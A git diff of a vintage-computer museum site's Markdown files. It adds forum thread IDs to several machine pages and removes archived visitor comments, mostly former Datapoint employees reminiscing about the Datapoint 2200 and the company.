net - - author: Martin Masella (Argentina) - date: Tuesday 16th December 2008 - text: Hi. I still have one, and it''s working fine. Sometimes, I plug it and I shed a tear. I think I''ll keep it to show to my sons when they grew up son they can understand how valuable were this old computers. related: - /museum/czerweny-cz-2000 - /museum/czerweny-spectrum-plus diff --git a/content/museum/darlay-dy-80.md b/content/museum/darlay-dy-80.md index 5e6dcbc5..0415f8fc 100644 --- a/content/museum/darlay-dy-80.md +++ b/content/museum/darlay-dy-80.md @@ -62,6 +62,7 @@ params: value: 8'' disk unit, hard disks, printer - label: PRICE value: Unknown + forum_thread: 131 oc_id: 118 source: url: https://web.archive.org/web/20230415210602/http://www.old-computers.com/museum/computer.asp?c=118 diff --git a/content/museum/data-soft-pcs-80.md b/content/museum/data-soft-pcs-80.md index 5529d922..b82c94f9 100644 --- a/content/museum/data-soft-pcs-80.md +++ b/content/museum/data-soft-pcs-80.md @@ -56,6 +56,7 @@ params: value: Unknown tabs: - adverts + forum_thread: 198 adverts: - title: FRENCH AD (JAN. 1980) subtitle: '' diff --git a/content/museum/data-soft-vdp-80.md b/content/museum/data-soft-vdp-80.md index 91ffe791..605902e1 100644 --- a/content/museum/data-soft-vdp-80.md +++ b/content/museum/data-soft-vdp-80.md @@ -60,6 +60,7 @@ params: value: Unknown tabs: - adverts + forum_thread: 256 adverts: - title: FRENCH AD (JAN. 1980) subtitle: '' diff --git a/content/museum/data-technology-industries-associate.md b/content/museum/data-technology-industries-associate.md index aece0514..09c3409c 100644 --- a/content/museum/data-technology-industries-associate.md +++ b/content/museum/data-technology-industries-associate.md @@ -60,6 +60,7 @@ params: value: Optional 5 to 20 MB hard-disk - label: PRICE value: $3,450 (2 x F.D. version) + forum_thread: 595 oc_id: 608 source: url: https://web.archive.org/web/20230530202714/http://www.old-computers.com/museum/computer.asp?c=608 diff --git a/content/museum/dataman-designs-menta.md b/content/museum/dataman-designs-menta.md index 1e10617a..533ce50d 100644 --- a/content/museum/dataman-designs-menta.md +++ b/content/museum/dataman-designs-menta.md @@ -56,6 +56,7 @@ params: tabs: - photos - adverts + forum_thread: 1242 photos: - title: MENTA subtitle: '' @@ -78,16 +79,6 @@ params: subtitle: '' text: '' image: /media/museum/pubs/dataman-designs_menta_pub_1.jpg - comments: - - author: smalc (uk) - date: Wednesday 16th November 2011 - text: sandy white talks of programming with one of these... .http://www.youtube.com/watch?v$MTQv0Yz7eSw - - author: Colin Camper (UK) - date: Friday 24th December 2010 - text: I used to have one of these. It displayed a memory in HEX on the TV. You could step through your programs and see what happened to the memory on the display. It could print a hex dump via the serial port (A DIL header). The same header was used for saving/loading programs to tape. - - author: PeriSoft (USA) - date: Sunday 20th April 2008 - text: That's got to be one of the ugliest computers I've ever seen. oc_id: 1277 source: url: https://web.archive.org/web/20220930090953/http://www.old-computers.com/museum/computer.asp?c=1277 diff --git a/content/museum/datapoint-corporation-datapoint-2200.md b/content/museum/datapoint-corporation-datapoint-2200.md index 788a13d1..9e47a2eb 100644 --- a/content/museum/datapoint-corporation-datapoint-2200.md +++ b/content/museum/datapoint-corporation-datapoint-2200.md @@ -55,6 +55,7 @@ params: tabs: - photos - docs + forum_thread: 585 photos: - title: INSIDE subtitle: '' @@ -106,599 +107,6 @@ params:  compiled/archived by Bit Savers\  type of document : PDF\  source : [bitsavers.org](http://www.bitsavers.org/) - comments: - - author: Kenneth Long (USA) - date: Thursday 4th March 2021 - text: I worked for Datapoint at two production plans (Waco, TX and Ft. Worth) and the R$D Center in Plano, Texas. I worked on the 8200 line, Card Test/Repair, 1500 and 1800 lines. I liked the code names for them 8200''s were known as Jalepeño, the 1800''s were Tortilla''s. We also produced a version of the 1500 for Honeywell with their nameplate on it. At the R$D center in Plano, TX I worked on the phone switch. More specifically I worked on the Port Regulator Board. That thing was awesome. The switch didn''t work so good, but the Port Regulator was really good. I worked for Datapoint until they burned me out. When we closed the Waco plant and moved everything to the Ft. Worth plant we got so far behind on production. I would work at the R$D center for 8 hours then go put in another 8 or more hours at the production plant. We worked 7 days a week just trying to keep up with production. I was mistaken for a parts expediter because I didn''t wait for stuff to be delivered to our stations. - I knew how to operate a forklift so when we needed additional boards to repair I would mount up on the forklift and go get boards waiting for repair and take them to the repair area. I knew field technicians were needing the boards as soon as possible. We would have to wait four or more hours for the expediters to get stuff to us. I wasn''t waiting for that! Man, It was good finding this. Brings back a lot of memories! - - author: Tina (United States) - date: Tuesday 9th February 2021 - text: Hello All, I am trying to locate an former colleague. Her name is Karen and she worked in Product Management I think. It was awhile back (late 80s, early 90s) and my memory is a little fuzzy now, lol. Does anyone know who I''m talking about? - - author: Joe (USA) - date: Monday 16th November 2020 - text: Worked for Datapoint from 1982 fresh out of Tech College til 1995 when Intelogic Trace filed Chapter 11. Remember the old"Wizzie " HDD''s and Cynthia drives, and the Dataproducts drum printers as well as the GE band printer$ Use to love going to training in San Antonio, WangCo school was the best! - - author: Nobilangelo Ceramalus (New Zealand) - date: Thursday 23rd July 2020 - text: I was MIS manager at the Waitemata Electric Power Board in Auckland New Zealand from 1979 to 1983, which used nothing but Datapoint machines, and had what was then the largest LAN in the country$that was back in the days when Datapoint''s ARC was the only LAN on the planet. I taught myself programming in Databus$literally overnight. Databus was a joy to work with, and spoilt me for working with any other language because it was so easy to write and read, and so intuitive, and compiled so fast. I also did a Systems Engineering course at Datapoint''s HQ in San Antonio in 1982. Good old days. - - author: Bob Dorsett (Brisbane / Australia) - date: Wednesday 29th May 2019 - text: Hi, I joined Datapoint in July 81, first at Artarmon repair Center, then at Clarence St under Trevor Hodgert. We had a workshop in the back of a business premisis, and serviced sites like the Comodities Clearing House and Australian Cotton marketers Auscott. I worked on various configurations of 2200s. I had been an Ground Radio tech in the RAAF, and worked on computers there. While ''in'' I was so interested in computers I built a S100 Z80 chassis. Big surprise when I got to Datapoint, the 8080 assembler and code I self taught, was 2200 code. But the 2200 had two extra mnemonics beep and click. Also had the ''three finger'' debugger built in. Wanted to move back to Brisbane so I regretfully resigned after nine months. Good times, people and product, just wanted to move nearer home! - - author: Art Stoller (Tucson Az) - date: Monday 18th March 2019 - text: I worked for Datapoint/ Intellogic trace from 1978 to 1994 in the Tucson area.. Installing and servicing all their products, including the 3300 3600 terminals, 2200 5500 6500 6600 computers,and others, Infoswitch LDCS ACD - - author: Yubert (California) - date: Tuesday 27th November 2018 - text: Nice to find this forum on Datapoint. Datapoint was my first job out of college. I worked in the Los Angeles office and was in the college newhire program. The newhire program lasted \~9 months, we spent 3 weeks in San Antonio for technical and sales training, then 3 months back in our field office. This 3 week/3 mth cycle repeated two more times. I supported customers like See''s Candies/Bluechip Stamps, Home Savings, Western Oil $ Gas and Korn Ferry. I joined Datapoint in 1982 and left after \~2 years. I recall there was a new language, DASL and a new OS called RMS, both were very advanced for the time. Datapoint sure was innovative with ARCnet, Lightlink, and all those mainframe emulators. Datapoint sure was fun and a great entry into the Computer Industry. - - author: Paul Longoria (United States) - date: Sunday 5th November 2017 - text: |- - Wow ! Glad I found this page with so many Datapoint''ers that I remember from my time there. I started in 75 and left in 1990. Best education and exposure to some of the finest minds in the country.\ - FYI, there''s a Datapoint Facebook page called "Datapoint Remembered". with lots of photos and some more people. - - author: PHILIP J SCHWIRIAN (United States) - date: Thursday 21st September 2017 - text: I worked for Datapoint from 1976 to 1989 in Technical Support in San Antonio, TX starting at the woodcock building. I was hired as a senior Technical Support Engineer and was promoted to be the first and only Support Engineering Specialist (reported to Oscar Gordon a Director). I just ran into this site and decided to leave a comment. Previous to Datapoint I had worked on Main Frame computers. I remember being introduced to the Datapoint 2200 version 1 a the Permian Oil Basin Show in Odessa TX in 1975. I have supported and provided training on CTCs first product the Datapoint 3300 around 1970/1971 when I worked for a small company in Rockville MD call TST Communications. I had attended training on the 3300 in the old Kadak building in downtown San Antonio, TX which was my first introduction to San Antonio where I have resided for over 41 years. I spent almost 50 years in the IT field and am not retired! I remember my 13 years with Datapoint fondly! - - author: Karl Mutch (San Francisco/Sonoma, United States) - date: Friday 1st September 2017 - text: Worked at Datapoint in New Zealand at the start of my career, mainly Databus/DOS was it ?, and did a stint in Austin TX, working on a communications gateway in DASL/RMS from memory. Now living and working in San Francisco in AI. Pretty much owe it all to Datapoint and the opportunities they gave me. Some of the names here I even recognize! - - author: Darrell Campbell (ATLANTA GA US) - date: Tuesday 29th November 2016 - text: Worked in Atlanta sales 1980 - 1984. Worked in Communications Div. LDCS and ACD. AWESOME TIME AND PLACE Worked with Rich Pape, Max Wood, Andrew Waite and Mike Tamer. Many more early sales reps and managers under Dan Hosage. Even Survived sales forecasting under John Thornton. What memories. - - author: Jim McKay (Houston, TX) - date: Friday 9th September 2016 - text: I worked in Engineering at Datapoint from 1979 through 1985. I managed the Design Verification Testing Team so I was involved in testing LightLink, the Laser Printer, Impact Printers, Video and many other products that Datapoint developers and engineers thought up. There were so many products that my team was involved in testing that we rarely had a break between the Information Management products and supporting products. There was a lot of creativity coming from the mind of David Monroe and his engineers. It was a fun time to be involved in the cradle of new technology. You had to love the "can do" attitude of everyone involved in these programs. - - author: G.Tisher (Houston, TX) - date: Friday 12th August 2016 - text: I worked for Datapoint/Intelogic Trace for 18 years, beginning in 1975. First as a peripheral final test tech at the 9725 Datapoint Dr. location, then as a field service tech. I still work as a field service tech and owe my career to the experience I gained while working at Datapoint. It is a shame that Datapoint is not adequately credited for much of the innovations that we still see in today''s modern computers. The microprocessor, the desktop PC and the LAN just to name a few. - - author: Shane Bolton (Melbourne / Australia) - date: Wednesday 18th November 2015 - text: |- - I worked for Datapoint starting in the late ''70s and finishing in the late ''80s. Started out as a Field Engineer fixing the broken ones, ended up as Support Manager in Melbourne. During my time at Datapoint I spent 3 years in San Antonio in software support. - - Worked with some great people: Vern Green, Tim Morrow, Harold (Skip) Peterson, Mary Keinarth, Billy Taylor, Ray Tokar, Charlie Colbert, Harry Pyle, Kay Hancock, Graham Patterson and a bunch others. - - I will always remember my time at Datapoint very fondly. A time of great innovation, fun, hard work and great people. Fantastic combination. - - author: Stephen Cable (Australia) - date: Thursday 6th August 2015 - text: I worked on Datapoint equipment for 20 odd years, firstly as a field engineer for the then distributor Sigma Data and then Datapoint Australia directly in varying roles from Field Engineer to service director. Many of the names on here from varying countries I know or recognise, certainly all of those from NZ and Australia. They were certainly the innovative days when the computer industry was fun. Infoswitch, Minx, 2200 through to the 8800, RMS and all the Vista products. Thanks for the posts here they brought back great memories. - - author: Frank Lether (The Netherlands) - date: Thursday 4th December 2014 - text: How nice to see you guys overhere. Spent almost 10 years as director of Communications (PR) at Datapoint Netherlands with much pleasure. - - author: Robert Clow (New Zealand/Australia/Hong Kong (Australia)) - date: Saturday 25th October 2014 - text: Wow.. The names. Hi Tim, we had some great times in HK!... Love to get in contact again. I started in NZ with 2200 (yep excitement working with the ''10 over 10s'') and first job was joining a very ambitious software billing project... as a lead... As Tim said Datapoint''s technology was very advanced - - author: Frank Franzoi (Henderson Nv.) - date: Saturday 16th August 2014 - text: Hired in 1978, Laid off 1991...... Hired as a system engineer... Hi Bob etc... in Cleveland Oh.... Transfered to Detroit as Head honcho... Then became a sales person for the State of Michigan out of Lansing Mi... Had a Ball and sold over 6 million in equipment... And not a person in San Antonio would listen to us about total internet capability... Any how... got laid off and the company went away... am living off a pension etc but still miss the company and it''s capabilities that couldn''t be done because it was''t allowed by the lawyers .... - - author: Greg Baker (Spokane Washington / USA) - date: Monday 3rd February 2014 - text: I worked for Datapoint from 1976 - 1981 From 1976 - 1978 as a Field technician in Mountain View, CA, then 1979 in San Antonio, Texas developing diagnostics, then 1979 - 1980 back in San Mateo, CA as a field tech. Then from 1980 - 1981 Product Support San Antonio Texas. - - author: Daniel E. Chrisman (California) - date: Sunday 22nd December 2013 - text: I was hired in 1981 to support the Order Tracking System in the Marketing Division. I worked with Linda Peterson, JoAnn Horvath and others. I supported different systems and wrote code for the Canada Order Entry system. I was terminated in the great purge and went to work for Unocal in Chicago. I remember sharing an office with Dean Pierce in an office that looked out over the 7th fairway of the Turtle Creek golf course. - - author: Ron Mitchell - date: Friday 4th October 2013 - text: |- - Hey Guys , worked in Charlotte NC from 78 until 93. - - Just wanted to say hello - - author: M. James (NYC NY) - date: Thursday 24th January 2013 - text: |- - hi, - - I worked in the international data center\ - at NYC Manufacturers Hanover Bank in 1985,\ - at 4 NY Plaza, 19 floor, in Operations. - - We had a lot of Datapoint machines, we would start the\ - backups up around 4PM, then kick off the batch jobs.\ - This system ran TEPS Transcend Electronic Payment\ - System, fancy name for remote banking.\ - It served our clients from all over the globe,\ - UK, Europe, Saudi, Bahrain, Australia, NZ, etc. - - Thses machines were great, they always ran,\ - unless one of the programmers made an undocumented\ - change and that is where the problems start!. - - I agree, they killed the goose with the golden eggs\ - when the idiots took control of the company. - - Regards - - author: Bill Brownlow (San Antonio) - date: Tuesday 18th December 2012 - text: |- - Found the site when looking for information on the Convergent hardware. I started with Datapoint in ''78 working in Tech Support at the old Woodcock facility. Before Datapoint I was at Four Phase and before that with Wangco who manufactured the reel to reel tapes Datapoint used. From supporting tape drives in Tech Support I went to Infoswitch at 8410 where I ended up in New Product Support. I was the New Products Support Engineer for LightLink taking that product from preproduction through the Alpha and beta phases to final. - - From there I transitioned into International Support doing software support under Les Shafer. Bob Lofgren and I took the problem reports filed from all the international offices and worked those with the developers hanging out on the second floor of 8500. While doing International I ended up with the NGEN product line and handled the software support for that series. When Convergent revised the CTOS operating system and you could no longer do a static memory allocation the product died as we could no longer allocate the hard memory space for the ARCNet adapter. I then ended up with the likes of David Hovel supporting the ARCNet card and drivers in the IBM PC line. All told my time with Datapoint went from Feb. ''78 until July ''88 when my position was eliminated. - - author: Tim Regan (US/Japan/HK) (United States) - date: Tuesday 23rd October 2012 - text: I worked with Datapoint from 1980 till 1993$ started as a systems programmer for the 2200 and then the 1500/1560, then I did work with 1800, 5500, 6600 and 8000 family. I worked in San Antonio initially as systems developer then moved to Office Automation Group, and in 1984 I worked with CJK (Japanese distributor) to add Asian Language support to OS products. That then landed me in Japan (downtown Tokyo) for 18 months, after which I became in charge of Asian operations and began working from Hong Kong with a staff of 12-15. It was a great time and experience. I recognise so many of the names below. RMS was a great OS, so far ahead of it''s time. - - author: Kaj Granlund (Finland) - date: Saturday 28th July 2012 - text: |- - After a couple of years with IBM 360/370 mainframes, a Nokia salesman (believe me or not, Nokia was the local DP dealer here) showed me a DP2200 as I was looking for a warehouse solution. We went for a DP2200 with a 2,5 MB Diablo drive in 1973 (ser $ 13). - - Since those days I worked with DP all the way to "the bitter end". First as a Nokia emplyee and later as an independent consultant. During my time with DP computers, I wrote the first IBM-3780 emulator in 1973 (DP had only 2780) and a revised version of the Honeywell GRTS-355 emulator. As DP did not come out with an acceptable database solution together with RMS, I wrote one pipeline -based solution for RMS in about 1980. Although I loved (and still do love) assember programming, I spent most of my time writing applications in Databus/Datashare and later also in Cobol. - - In 1987 - 1988 I developed the ARCLINK -unit, which was sold by Datapoint for years. I also represented Datapoint in Finland from the early days of 1990''s. - - I still have an old DP5500 with a full set of spare parts and a couple of original CTOS and Utility cassettes. - - author: dave_schummers (california) - date: Friday 6th May 2011 - text: i had the pleasure of working @the disk works in mt.view,as the equipment maintenance mechanic from aprox 82-87,i maintained the westec single side disk polishers,the strasbaugh 6sr4,the plating lines and all related equipment .,in the end ,our division was absorbed by xebec corp.and i was included in a group that went to "information memories corp",another pilot type plating set up..most colorful character-co worker,Mel Dike - - author: Richard DesChenes (Florida) - date: Monday 4th April 2011 - text: I worked at Datapoint in test engineering, and did failure analysis on the production floor. It was a challenge to troubleshoot the 2200''s microprocessor made of discrete components. Working in machine language became second nature. The place was a circus and things changed daily, it was a fun place to work. - - author: Robert J. Stevens (Menomnee Falls, Wisconsin, USA) - date: Wednesday 9th March 2011 - text: I first became acquainted with Datapoint while working as a Computer Operator arond 1975 in New Jersey when the Boss brought in a Datapoint. I had gone to Programming School and told him that I could Program the Machine. He gave me the Job. It was one of the Machines that used Cassettes for I/O. The manual said "Go have a cup of coffee while the machine copied your work from one Cassette to another". I was writing Software to transfer Hospital Census Data from the Hospital to our Computer Site for Processing. By that time they had a Datapoint System that would write to a Computer Tape and I added a routine that played "Shave $ Haircut Six Bits" when the tape was ready to be transfered to the Univac 9300. Later on I was asked to produce a Program that would allow up to 33 lines of input for a Hospital Admissions Form. Since the Machine only allowed 11 Lines I had to DUMP the 8K of Memory to the Printer then Decode it and reassemble it into a System that Mimic''d DataBus. I even - added interrupt control so one could back up fields to re-enter them. It took me 6 months but it ended up on the ROUND file. I worked with Datapoints until 1979 when I left New Jersey and moved to Wisconsin. - - author: Barney Fleetwood (US) - date: Friday 18th February 2011 - text: I became familiar with Datapoint products as a user in the early 70''s. I worked for a time sharing company and we started replacing our Teletype terminals with 3300''s. When the 2200 was introduced we purchased one mainly to see if a genuine computer could really fit on a desktop. These were the days when our mainframes took up massive amounts of space and resources. I joined Datapoint in early 1979 as a product support engineer in San Antonio. My first products were the 6600 and the Channel Adapter. I saw an earlier post on here by Steve Wolf. He and I traveled around the country supporting the Channel Adapter. He was software support and I was hardware support. Steve definitely got the short end of the stick as the hardware was considerably more stable than the software but he always prevailed. I was laid off from Datapoint in 1985 (thank you Asher Edelman) and came back to Intelogic Trace in 1986 where I stayed until 1994. It was a great ride while it lasted and the people - I worked with and for were absolutely incredible. - - author: Stephen Deane (Toronto / Canada) - date: Wednesday 16th February 2011 - text: |- - I''m an ex-datapoint canada employed\ - Just saying HELLO - - author: Robert Jackson (Australia) - date: Wednesday 15th December 2010 - text: I worked for Datapoint as a technician in their Australian board repair centre at Artarmon Sydney circa 1981-83. I did chip level debug and repair of the 2200, 5500 and 6600 main circuit boards. It was a great experience to see how a CPU was constructed from TTL gates. - - author: Carl Zettner (US) - date: Friday 19th November 2010 - text: |- - FYI we are now (trying) to put up the complete history of Datapiont\ - and the 2200 at our (still being built) site\ - www.Datapoint.org. If you are an ex-Datapointer or just curious\ - please join us there. - - author: Igor (North Carolina/USA) - date: Thursday 29th July 2010 - text: Frank! We did indeed have a great time working in Penn Plaza for Datapoint in those heady days in the early ''80s. Things have never been as great as that ever since. - - author: Frank Rocco (NY) - date: Friday 6th November 2009 - text: Started out of DeVry in 1979. I worked out of Penn Plaza and covered Manhattan. I wioked on the 1100, but also the 2200. Was a heavy piece of equipment. Also learned Arcnet and printers during my years there. Had a lot of good times but left in 1983. - - author: Steve Parrish (Westminster, SC) - date: Friday 6th February 2009 - text: |- - Employed at Datapoint from 1978-1989. I really enjoyed reading the forum. I joined Datapoint Corporation in 1978 as a Systems Engineer responsible for pre $ post sales support for customer accounts throughout North Carolina. In 1980, transitioned from SE to sales as an Account Manager for Leggs'' Products (the folks who used to manufacture panty hose $ package them into plastic egg shells). We did a great business there as they owned 5530''s Datashare systems in each of their 5 manufacturing facilities and had a much larger system at their mail order facility. The mail order house moved from 5530 $ 6600 based Datshare systems which were subsequently grown into an ARC network. The ARC had an 8800 file server with MIDs disks and 3800''s replaced the 3600 terminals previously used in the Datashare system. After that, I was transferred to San Antonio in 1980 as the sales plan was to hire 600 professional sales people in the US with computer sales experience to leverage our huge advantages over the competitors. After Sam Walker and me spent a year or so hosting, instructing new hire sales professional from all over the US on our product line from the 5500, 6600, 8800, 8600, 3800, 1800,1500, Light Link, our ARC based resource sharing and all the wonders of the Datapoint developments. I recall at one time during the early 80''s when the stock split twice two-for-one over a 13 month period. While mainframe and other mini-computer competitors were explaining how they grew their systems (forklift model) relative to our ability to simply "clip-on" additional processing power as needed without the need for re-programming absolutely blew the competition away. Incremantal growth as processing requirements demanded was the mantra. We would have a class of around 30 new hires for two weeks before they returned to their respective territories to engage in marketing Datapoints'' product line. During this period, we had all the who''s who of the fortune accounts as customers. Subsequently, after the hiring frenzy of Steve James and G. Millard Allen subsided. I joined the likes of Buck Buchanan, Sal Bruno, Jim Whitehouse and tha cast of others in Product Marketing with an assignment to "Large Systems" Subsequently joined a new division lead by John Tysall and Jim Cogan with a great team in the Small Business Computer Division where we promoted and provided sales support predominantly for the 1560 product line. The part I never could comprehend is that when Asher Adelman and his investors decided to take over the company, they announced that they were going take it over and sell and/or ''spin off'' the parts. This stopped sales dead in their tracks to Citibank, Texaco, Chase Manhatten Bank and a host of other fortune account customers we had as they wanted a "single source provider" e.g. one stop shop for computers peripherals and support. The result was, the arbitrage group crashed the company just as they were taking it over. From my view, this was much more devastating to Datapoint than all the other stuff having to do with accounting issues, shipping equipment to wharehouses, etc. etc.. - - Anyway, the 12 years I spent were an exciting and fulfilling experience that I''ll never forget. - - Cheers to all of you Datapointers! - - author: Kevin Willois (Allentown, N.J. USA) - date: Saturday 3rd January 2009 - text: |- - Guy! Frank! And all the rest of the NYC techs out there. Datapoint was the first real job I got after graduating from tech school. ''81 to ''86 I think. The 2200 and the line of processors that followed were great for the time, but were really heavy and difficult to work on. Tolerances for the back plane/power supply were tight. Wires tended to short if you were careless (blue smoke generators), but no one could deny the elegance and the impact that ARC had on the computing community.\ - I''m a musician/teacher now, would love to know what happend to the intelogic trace guys after the company was sold. Had some really good times before the company lost it''s way. - - author: Bob Stephens (USA) - date: Wednesday 15th October 2008 - text: |- - I joined Datapoint as a software developer in the early ''70s when its name was Computer Terminal Corporation (CTC). I later went into the field through the Systems Engineering organization and then back into corporate in Software Support. - - Pretty amazing. I found this site while searching for information on Infoswitch, a Datapoint LDCS/ACD product in the ''70s. Noted several extremely talented folks on this forum which I had the privilege to work with. - - Definitely pioneers in their own right. - - author: Chris Hall (England) - date: Tuesday 3rd June 2008 - text: Hi, this is note is really aimed at John Sutherland. John I may have met you at Ventek at some point, maybe training courses, I worked out of the Epping branch from 1976 and then out of Centerfile in London till about 79. Your note about those blessed power supllies brought it all back. How many of those went bang in your face the moment they were powered on by the sliding on-off switch. As you recalled one of the biggest users were indeed BR and the recollections of trudging down the line to a signal mans box some at the dead of night seems like yesterday. I worked with a real good bunch of guys, Bob Riddel, Tony Munn, Steve Pyne. They were a good company to work for, I broke my leg in 75 and was of work for a total of 6 months and they paid me full pay for all that time and I'd only been with them 1 week, don't think that would happen today. - - author: Colin Wheeler (Melbourne, Australia) - date: Saturday 29th September 2007 - text: |- - I also have many fond memories working as a technician (actually receiving the “gold” award) which still sits with pride of place in the study, leaving I think around 1987.\ - Many laughs with folks like Joe Nanfro, Brian Mackrill, Dave Westhorpe, Gina on reception and who could forget Jeno Liptak.\ - After leaving I had the pleasure of meeting Jonathan Schmidt and Louis Donzis purchasing Performance Technology kit to replace the old DP gear at Jetset Tours. These guys were simply geniuses. Those truly were the days. - - author: Stephen Wolf (Austin, Texas) - date: Sunday 19th August 2007 - text: |- - I worked for Datapoint from 1977 to 1984. I worked in the field,\ - support, and development. The people I worked with were top notch. Had a lot of time and made several long term relationships. - - author: Don Cheeseman (Houston, Texas) - date: Wednesday 27th June 2007 - text: Wow. I wasn't even aware there was forum for the Datapoint vets. I've still got one of the older slow-scan 2200s (with a Honeywell moniker) and it still works, as well as a old 1560 that I picked up at a warehouse years ago in North Austin. I was a programmer with Datapoint from 1977 until 1986. It's nice to hear that there are still so many ex-Datapointers still out there. - - author: John (Montreal, Canada) - date: Tuesday 5th June 2007 - text: Datapoint was my first real job. From 1979 to 1992. I remember opening more 3360 terminals than most surgeons open up people. It was a fantastic experience. 3360,2200,5500,6600, you name it. Don't forget the ARCNET. Loved it. - - author: Tom Orbeck (Austin. Texas) - date: Tuesday 10th April 2007 - text: After being a Datapoint customer in Minneapolis, I worked for Datapoint in San Antonio as a software developer and later in Software Support. It was a GREAT experience and I learned a lot. Datapoint was ahead of its time for a while and an exciting place to work. - - author: Guy Perrusio (USA) - date: Thursday 8th February 2007 - text: I was a field service tech for Datapoint in New Jersey from July 1978 til January 1983 and then a District Service Manager in NYC from January 1983 until January 1987. If you talk about Datapoint and CTC, you have to make mention of the old 3300 series terminals. Even in 1978, they were a bear to repair but were very successful in replacing many teletype machines. If there are any Datapoint old timers that would like to talk about the old days, please don't hesitate to reach out. Also, does anyone have a recollection of yet another spinoff - Teknikron/Infoswutch??? - - author: Paul "Jerry" Scannell (USA) - date: Thursday 11th January 2007 - text: |- - I worked for Datapoint from 1977-1980 in the Waltham, MA office. I was a "Field Engineer" by trade but had started getting into software because of the Datapoint products. - - I installed and serviced the full gamut of Datapoint systems including the 1100/2200/5500/6600, ARC, DataShare, Control Data disk drives, and InfoSwitch! - - At some point I had gotten a hold of a "dis-assembler" program from someone gave meand I had decoded the DOS operating system; figured out how it worked; and decided that programming was where I should be. - - Now 26 years later, I have programmed in just about every conceivable platform including: hardware diagnostics, repair depot management systems, order entry systems, temperature controller firmware, and most recently web applications. - - I owe my career to Datapoint. My time with them was very memorable and feel truly saddened by their demise. - - But I am so glad to find this forum! - - author: Murray Downes (Dunedin New Zealand) - date: Wednesday 27th September 2006 - text: I joined Datapoint NZ in 1985, transferred to London 1987 and worked at Station House, then Neasden, Harefield... back to Neasden - finally to European Operations in Paris. Sales... 8600, 8800 then 7800... finally helped launch the AT&T Definity through European subs. This was a great experience - all of it. Does anyone know what happened to Dale Haire (ex SAT, ex Belgium...) ex Intl? - - author: Rudolph J. R. Wratten (San Antonio) - date: Friday 4th August 2006 - text: I worked with Datapoint on an extension of the InfoSwitch, what was later to become known as automated wiretapping. Datapoint exec's decided that this was a "second tier" market, boy were they wrong! - - author: AJ (London) - date: Wednesday 2nd August 2006 - text: |- - I worked for Datapoint from 1975 to 1978 as a Hardware Engineer/Superviser repairing PCB's down to component level at the Park Royal, London repair centre. I repaired processors, memory, power supplies - you name it I did it. It was great fun and I was completely fulfilled, financially and emotionally. Opposite to what I feel now. When I joined in 1975 the company was Ventek which was soon taken over by Datapoint. This was my first entry into the world of computers and I haven't looked back, although I feel less satisfied with my position now. It's great to read other peoples experiences here.\ - You know what? I still have Datapoint 2200 manuals etc in my garage and I was going to through them out the other day, it must be the memories that stopped me from doing so !!!! - - author: John J. Doonan (new york ) - date: Thursday 13rd July 2006 - text: I Started working at when it was known as CTC (Computer Terminal Corp.) Best job i ever. - - author: Paola (Italy) - date: Thursday 16th March 2006 - text: |- - I made a mistake: I worked in INFOREX first, which then became DTAPOINT..\ - Who rimember that?\ - Ciao - - author: Paola (Italy) - date: Thursday 16th March 2006 - text: |- - Hello to all of you !\ - I use to work for DATAPOINT ITALY from 1973 through 1988 at the import dept: so i knew and met lot of people.\ - I just would like to say that those years were really wonderful for me. I loved my job and I still remember those days..\ - I would like to know where is Linda Fuller, now: if you are here, please write me.\ - Hope to hear news soon\ - saluti a tutti\ - Paola - - author: Mike Towers (Bandera Texas) - date: Wednesday 8th February 2006 - text: Joyce and I came to Datapoint 1981 a couple of years after I graduated from UT and she from Rice. The thinking was, unlike the east or left coast, we could walk back to Austin from San Antonio if we had to. DPT had around 10,000 employees then. I left in 1985 and started my own business. Joyce hung on for another couple of years. After several startups and a couple of public offerings (yippee!!!) and 30 years of marriage, we're still around. Joyce takes care of the grandkids and does archeology and birding and I became a cop--go figure. Too bad the senior mangement blew it. Datapoint had THE most reliable systems I've ever used or worked on from mainframes to minis to micros. They weren't as sexy as some of the stuff that was coming our of Xerox PARC at the time, but they WORKED, and kept working and working and working and working...... - - author: Mike Shaffer (dallas, tx) - date: Saturday 14th January 2006 - text: What wonderful memories this forum has brought back to me! I was pretty heavily invoved in Datapoint and Databus activities 'back in the day'. It never ceases to amaze me how much Datapoint had within their grasp, only to let it trickle between their fingers and then fade away. Datapoint equipment was generally rock-solid, and the operating system software was always reliable, even under heavy load. No blue screen of death back then, just systems that kept plugging away. Bud Hutchison, who also left a post here, was kind enough to lend me his Databus manuals back in the 80's when I was trying to refresh my skills and get a job. Bud, thank you for that, and to this day I still have those old green manuals! Thanks for the trip down memory lane! - - author: Brett Cupitt (Sydney) - date: Wednesday 21st December 2005 - text: |- - I started with Datapoint in 1983 in Auckland (it was here that I met Kevin Woods who has posted an earlier contribution). The NZ subsidiary was progressive with some innovative ideas in management. We were not allowed to have Lightlink as the NZ Post Office claimed they owned the electromagnetic spectrum up to and beyond visible light. Rather innovation was in methods to make us more efficient and productive. - - I was transferred to Datapoint in Australia where I knew Brian Smith (also a contributor). Australia was a much larger subsidiary with as many storemen as Datapoint NZ had field engineers. - - I had little call to provide support on the 11xx and 22xx series, but had exposure to the later products such as the 88xx, 86xx, etc. I also worked briefly with Minx which was the code name for a video imaging system which was very successful in teh courts. The innovation was also present in Australia with a lot of development going on - the most significant item being a complete library management package which was sold to a number of libraries. - - author: james (Melbourne, Australia) - date: Wednesday 30th November 2005 - text: |- - Wow! I worked for this great company at it Melbourne offices. Joined the company in 1989. - - I very much regret that the company fell apart. RMS and ARCnet were the most amazing technologies I had ever seen at the time. - - I only wish I had a 7800 and a few terminals. Oh... the memories. - - author: John Love (Houston, Tx) - date: Friday 11th November 2005 - text: I worked for Datapoint from 1975 to 1989,first as a field tech in Miami then as a Regional Support Spec in Houston. I worked on every product ever made and ended up in the telecomm industry through Datapoint's Infoswitch product. I have run into a lot of ex-datapointers and we still talk about what a great company it was and what great years we spent there. - - author: Frank Rocco (NY) - date: Wednesday 26th October 2005 - text: Worked at Datapoint from 1979-1983 as a field tech out of the Manhattan office in Penn Plaza. I was right out of DeVry and it proved a good training ground. We had a real close bunch of techs and managers. - - author: Jerry Scannell (North Providence, RI) - date: Wednesday 10th August 2005 - text: Worked for Datapoint from 1977-1980. Installed/worked on 1100's, 2200's, 5500's, 6600's, 1800's, ARC, DataBus, CDC Disk Drives, you name it! My Datapoint experiences propelled me into the programming career that I have had for 25 years because I used to "unassemble" the old DOS O/S, I also used to help the SE's with DataBus and DataShare issues!!! Haven't been to San Antonio since 1980. Used to go to "Gasoline Alley" every night!! Glad to see there's a forum for this kind of thing. - - author: Ellis Hillinger (Seattle, WA) - date: Wednesday 